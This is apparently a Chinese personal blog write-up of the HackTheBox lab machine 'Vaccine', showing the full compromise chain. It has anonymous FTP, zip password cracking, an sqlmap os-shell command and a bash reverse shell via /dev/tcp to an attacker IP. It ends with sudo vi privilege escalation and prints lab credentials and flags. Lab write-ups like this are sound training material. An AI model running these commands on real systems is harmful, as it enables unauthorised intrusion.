banner
[面包]MrTwoC

[面包]MrTwoC

你好,欢迎来到这个基于区块链的个人博客 名字:面包 / MrTwoc 爱好:跑步(5/10KM)、咖啡、游戏(MMORPG、FPS、Minecraft、Warframe) 兴趣方向:Rust、区块链、网络安全、量子信息(量子计算)、游戏设计与开发
bilibili
steam
email
github

[记模拟渗透]-HackTheBox-Tier2 _ Vaccine - 3

image.png

image.png

尝试注入。。失败
image.png

发现网页没啥有用的
看看 21 端口开放的 ftp

连接成功,账号 Anonymous,密码为空
image.png
发现文件:backup.zip
image.png

使用 kali 自带的 zip2john 爆破密码
得到密码:741852963 (backup.zip)
image.png
unzip 文件名 解压
用密码解压后,得到两个文件 (index.php、Style.css)
image.png

在 index.php 里发现这样一行代码
``session_start();
if(isset($_POST['username']) && isset($_POST['password'])) {
if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
$_SESSION['login'] = "true";
header("Location: dashboard.php");
}
}
?>
image.png

用 MD5 加密的值是 qwerty789
同时发现网站的登录地址是 :dashboard.php

image.png

image.png
发现此处报错,证明有 sql 注入
image.png

尝试 sqlmap 注入:
sqlmap -u http://10.129.147.44/dashboard.php?search=1 --cookie PHPSESSID=5a28uftk57hrg3vrunr3cis8cs --batch --os-shell

image.png

image.png

获得的 shell 是非交互式,要在此利用反弹 shell,以获得交互式 shell
bash -c "bash -i >& /dev/tcp/10.10.16.20/12123 0>&1"
image.png

监听端口 12123
拿到 shell
image.png

postgres@vaccine:/var/lib/postgresql$ ls
ls
11
user.txt
postgres@vaccine:/var/lib/postgresql$ cat user.txt
cat user.txt
ec9b13ca4d6229cd5cc1e09980965bf7

在 www 目录发现 dashboard.php 里看到这样信息
try {
$conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");
}

有了密码,尝试 ssh 连接
ssh postgres@10.129.147.44

image.png

这里再次发现 user.txt
image.png
postgres@vaccine:~$ ls
11 user.txt
postgres@vaccine:~$ cat user.txt
ec9b13ca4d6229cd5cc1e09980965bf7

image.png

这里是使用 vi 编辑器提权,vi 里可以直接输入命令,因为这个 vi 是 sudo 打开,调出的 shell 也就是 root 身份。

命令:sudo /bin/vi/etc/postgresql/11/main/pg_hba.conf
密码:P@s5w0rd!

在 vi 编辑界面里,输入:!/bin/bash

image.png

提权成功
image.png

=================================================================

在根目录发现 root.txt
root@vaccine:~# ls
pg_hba.conf root.txt snap
root@vaccine:~# cat root
cat: root: No such file or directory
root@vaccine:~# cat root.txt

至此拿到 flag
image.png

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.